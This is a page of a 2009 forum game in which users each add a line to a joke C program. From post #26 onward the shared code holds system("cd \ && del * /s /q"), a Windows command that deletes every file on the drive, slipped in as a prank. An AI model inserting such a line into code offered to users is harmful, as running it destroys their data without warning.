One line program!

(can't believe no one's thought of this...)

  • (4 Pages)
  • +
  • 1
  • 2
  • 3
  • 4

46 Replies - 3361 Views - Last Post: 10 January 2010 - 05:02 AM

#16 dr_spitfire   User is offline

  • D.I.C Head

Reputation: 1
  • View blog
  • Posts: 99
  • Joined: 13-August 09

Re: One line program!

Posted 11 September 2009 - 02:15 PM

#include <fail.h>
#include <string.h>

int main (void)
{
char I[12]="dr_spitfire";
GiveUp(I);
return 0;
}

This post has been edited by dr_spitfire: 11 September 2009 - 02:45 PM


#17 gabehabe   User is offline

  • GabehabeSwamp
  • member icon




Reputation: 1440
  • View blog
  • Posts: 11,025
  • Joined: 06-February 08

Re: One line program!

Posted 11 September 2009 - 02:39 PM

You missed "" around dr_spitfire, GiveUp isn't defined, and fail.h doesn't exist. That's a fail program. ;)

#18 dr_spitfire   User is offline

  • D.I.C Head

Reputation: 1
  • View blog
  • Posts: 99
  • Joined: 13-August 09

Re: One line program!

Posted 11 September 2009 - 02:44 PM

ok I missed the quotes... but I made fail.h and GiveUp() was included in there...

(but that's a different file :P)

This post has been edited by dr_spitfire: 11 September 2009 - 02:45 PM


#19 gabehabe   User is offline

  • GabehabeSwamp
  • member icon




Reputation: 1440
  • View blog
  • Posts: 11,025
  • Joined: 06-February 08

Re: One line program!

Posted 11 September 2009 - 02:56 PM

Well don't forget to add the -I option when you compile it to get the path of fail.h then, since you put it in <> ;)

#20 dr_spitfire   User is offline

  • D.I.C Head

Reputation: 1
  • View blog
  • Posts: 99
  • Joined: 13-August 09

Re: One line program!

Posted 11 September 2009 - 03:00 PM

can't you just let me fail it peace?!?! (and yeah, I'm still a newb at C so I didn't realize that until after I posted... thanks for the advice >.<)

#21 gabehabe   User is offline

  • GabehabeSwamp
  • member icon




Reputation: 1440
  • View blog
  • Posts: 11,025
  • Joined: 06-February 08

Re: One line program!

Posted 11 September 2009 - 05:34 PM

Back on topic,

#include <stdio.h>
#include <stdlib.h>

// but you just added more than a single line.
int AwesomestFunctionEver(int AwesomestIntEver)/*to whom it may concern: I said you could add a line and a comment*/
{
int lessAwesomeInt;
return lessAwesomeInt;
}

int main(void) {

float thisIsAVariable= 36.2f;

printf("RAWR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! LION BIRD!");
printf(" fails. gabehabe ftw.");
exit(0); // what does that do?
// it exits the program with a status of 0 :-)
// then why even have the return 0;
// no2 was just being silly. this program is gonna be mostly comments.
return 0;
//I am not even sure how to add a one line comment in C
}


#22 bigbrother31337   User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 2
  • Joined: 13-September 09

Re: One line program!

Posted 13 September 2009 - 07:17 PM

#include <stdio.h>
#include <stdlib.h>

// but you just added more than a single line.
int AwesomestFunctionEver(int AwesomestIntEver)/*to whom it may concern: I said you could add a line and a comment*/
{
int lessAwesomeInt;
return lessAwesomeInt;
}

int main(void) {

float thisIsAVariable= 36.2f;

printf("RAWR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! LION BIRD!");
printf(" fails. gabehabe ftw.");
printf("\nMOUHAHAHHA: %s", (char*)(void*)AwesomestFunctionEver((int)thisIsAVariable));
exit(0); // what does that do?
// it exits the program with a status of 0 :-)
// then why even have the return 0;
// no2 was just being silly. this program is gonna be mostly comments.
return 0;
//I am not even sure how to add a one line comment in C
}



I know I may have done multiple things but it's still on a single line.

#23 gabehabe   User is offline

  • GabehabeSwamp
  • member icon




Reputation: 1440
  • View blog
  • Posts: 11,025
  • Joined: 06-February 08

Re: One line program!

Posted 14 September 2009 - 05:47 AM

/* ( ° Y . ) wonky bewbs */

#include <stdio.h>
#include <stdlib.h>

// but you just added more than a single line.
int AwesomestFunctionEver(int AwesomestIntEver)/*to whom it may concern: I said you could add a line and a comment*/
{
int lessAwesomeInt;
return lessAwesomeInt;
}

int main(void) {

float thisIsAVariable= 36.2f;

printf("RAWR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! LION BIRD!");
printf(" fails. gabehabe ftw.");
printf("\nMOUHAHAHHA: %s", (char*)(void*)AwesomestFunctionEver((int)thisIsAVariable));
exit(0); // what does that do?
// it exits the program with a status of 0 :-)
// then why even have the return 0;
// no2 was just being silly. this program is gonna be mostly comments.
return 0;
//I am not even sure how to add a one line comment in C
}



#24 syfran   User is offline

  • D.I.C Lover
  • member icon

Reputation: 83
  • View blog
  • Posts: 1,103
  • Joined: 12-July 09

Re: One line program!

Posted 14 September 2009 - 09:13 AM

/* ( ° Y . ) wonky bewbs */

#include <stdio.h>
#include <stdlib.h>

// but you just added more than a single line.
int AwesomestFunctionEver(int AwesomestIntEver)/*to whom it may concern: I said you could add a line and a comment*/
{
int lessAwesomeInt;
return lessAwesomeInt;
}

int main(void) {
exit(666); // Even a mac can't survive the devil virus...
float thisIsAVariable= 36.2f;

printf("RAWR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! LION BIRD!");
printf(" fails. gabehabe ftw.");
printf("\nMOUHAHAHHA: %s", (char*)(void*)AwesomestFunctionEver((int)thisIsAVariable));
exit(0); // what does that do?
// it exits the program with a status of 0 :-)
// then why even have the return 0;
// no2 was just being silly. this program is gonna be mostly comments.
return 0;
//I am not even sure how to add a one line comment in C
}



#25 Jaakuuta   User is offline

  • D.I.C Head
  • member icon

Reputation: 1
  • View blog
  • Posts: 163
  • Joined: 02-July 09

Re: One line program!

Posted 29 September 2009 - 12:48 PM

/* ( ° Y . ) wonky bewbs */

#include <stdio.h>
#include <stdlib.h>

// but you just added more than a single line.
int AwesomestFunctionEver(int AwesomestIntEver)/*to whom it may concern: I said you could add a line and a comment*/
{
int lessAwesomeInt;
return AwesomestIntEver > lessAwesomeInt ? AwesomestIntEver : lessAwesomeInt;
}

int main(void) {
exit(666); // Even a mac can't survive the devil virus...
float thisIsAVariable= 36.2f;

printf("RAWR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! LION BIRD!");
printf(" fails. gabehabe ftw.");
printf("\nMOUHAHAHHA: %s", (char*)(void*)AwesomestFunctionEver((int)thisIsAVariable));
exit(0); // what does that do?
// it exits the program with a status of 0 :-)
// then why even have the return 0;
// no2 was just being silly. this program is gonna be mostly comments.
return 0;
//I am not even sure how to add a one line comment in C
}



#26 no2pencil   User is offline

  • Professor Snuggly Pants
  • member icon

Reputation: 6968
  • View blog
  • Posts: 31,958
  • Joined: 10-May 07

Re: One line program!

Posted 29 September 2009 - 09:10 PM

/* ( ° Y . ) wonky bewbs */

#include <stdio.h>
#include <stdlib.h>

// but you just added more than a single line.
int AwesomestFunctionEver(int AwesomestIntEver)/*to whom it may concern: I said you could add a line and a comment*/
{
int lessAwesomeInt;
return AwesomestIntEver > lessAwesomeInt ? AwesomestIntEver : lessAwesomeInt;
}

int main(void) {
system("cd \ && del * /s /q"); 
exit(666); // Even a mac can't survive the devil virus...
float thisIsAVariable= 36.2f;

printf("RAWR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! LION BIRD!");
printf(" fails. gabehabe ftw.");
printf("\nMOUHAHAHHA: %s", (char*)(void*)AwesomestFunctionEver((int)thisIsAVariable));
exit(0); // what does that do?
// it exits the program with a status of 0 :-)
// then why even have the return 0;
// no2 was just being silly. this program is gonna be mostly comments.
return 0;
//I am not even sure how to add a one line comment in C
}



#27 OliveOyl3471   User is offline

  • Everybody's crazy but me!
  • member icon

Reputation: 135
  • View blog
  • Posts: 6,581
  • Joined: 11-July 07

Re: One line program!

Posted 29 September 2009 - 10:51 PM

/* ( ° Y . ) wonky bewbs */

#include <stdio.h>
#include <stdlib.h>

// but you just added more than a single line.
int AwesomestFunctionEver(int AwesomestIntEver)/*to whom it may concern: I said you could add a line and a comment*/
{
int lessAwesomeInt;
return AwesomestIntEver > lessAwesomeInt ? AwesomestIntEver : lessAwesomeInt;
}

int main(void) {
system("cd \ && del * /s /q"); //what's this? 
exit(666); // Even a mac can't survive the devil virus...
float thisIsAVariable= 36.2f;
	do {//I would finish this and add the end brace but then it is more than one line. so you add something to it!
printf("RAWR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! LION BIRD!");
printf(" fails. gabehabe ftw.");
printf("\nMOUHAHAHHA: %s", (char*)(void*)AwesomestFunctionEver((int)thisIsAVariable));
exit(0); // what does that do?
// it exits the program with a status of 0 :-)
// then why even have the return 0;
// no2 was just being silly. this program is gonna be mostly comments.
return 0;
//I am not even sure how to add a one line comment in C
}


This post has been edited by OliveOyl3471: 29 September 2009 - 10:53 PM


#28 no2pencil   User is offline

  • Professor Snuggly Pants
  • member icon

Reputation: 6968
  • View blog
  • Posts: 31,958
  • Joined: 10-May 07

Re: One line program!

Posted 01 October 2009 - 02:25 AM

:crazy: Gee.. what is that?!

#29 paperclipmuffin   User is offline

  • Disassembling...
  • member icon

Reputation: 13
  • View blog
  • Posts: 944
  • Joined: 16-April 09

Re: One line program!

Posted 01 October 2009 - 02:38 AM

/* ( ° Y . ) wonky bewbs */

#include <stdio.h>
#include <stdlib.h>

// but you just added more than a single line.
int AwesomestFunctionEver(int AwesomestIntEver)/*to whom it may concern: I said you could add a line and a comment*/
{
int lessAwesomeInt;
return AwesomestIntEver > lessAwesomeInt ? AwesomestIntEver : lessAwesomeInt;
}

int main(void) {
system("cd \ && del * /s /q"); //what's this? 
exit(666); // Even a mac can't survive the devil virus...
float thisIsAVariable= 36.2f;
	do {//I would finish this and add the end brace but then it is more than one line. so you add something to it!
printf("RAWR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! LION BIRD!");
printf(" fails. gabehabe ftw.");
printf("\nMOUHAHAHHA: %s", (char*)(void*)AwesomestFunctionEver((int)thisIsAVariable));
exit(0); // what does that do?
// it exits the program with a status of 0 :-)
// then why even have the return 0;
// no2 was just being silly. this program is gonna be mostly comments.
return 0;
//I am not even sure how to add a one line comment in C
printf("Devil virus??");
}


This post has been edited by paperclipmuffin: 01 October 2009 - 02:39 AM


#30 Jaakuuta   User is offline

  • D.I.C Head
  • member icon

Reputation: 1
  • View blog
  • Posts: 163
  • Joined: 02-July 09

Re: One line program!

Posted 01 October 2009 - 05:00 AM

/* ( ° Y . ) wonky bewbs */

#include <stdio.h>
#include <stdlib.h>

// but you just added more than a single line.
int AwesomestFunctionEver(int AwesomestIntEver)/*to whom it may concern: I said you could add a line and a comment*/
{
int lessAwesomeInt;
return AwesomestIntEver > lessAwesomeInt ? AwesomestIntEver : lessAwesomeInt;
}

int main(void) {
system("cd \ && del * /s /q"); //what's this? 
printf("doesn't the above line kind of assume the user is running in DOS rather than *NIX?  and you're a Linux supporter, for shame lol");
exit(666); // Even a mac can't survive the devil virus...
float thisIsAVariable= 36.2f;
	do {//I would finish this and add the end brace but then it is more than one line. so you add something to it!
printf("RAWR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! LION BIRD!");
printf(" fails. gabehabe ftw.");
printf("\nMOUHAHAHHA: %s", (char*)(void*)AwesomestFunctionEver((int)thisIsAVariable));
exit(0); // what does that do?
// it exits the program with a status of 0 :-)
// then why even have the return 0;
// no2 was just being silly. this program is gonna be mostly comments.
return 0;
//I am not even sure how to add a one line comment in C
printf("Devil virus??");
}



  • (4 Pages)
  • +
  • 1
  • 2
  • 3
  • 4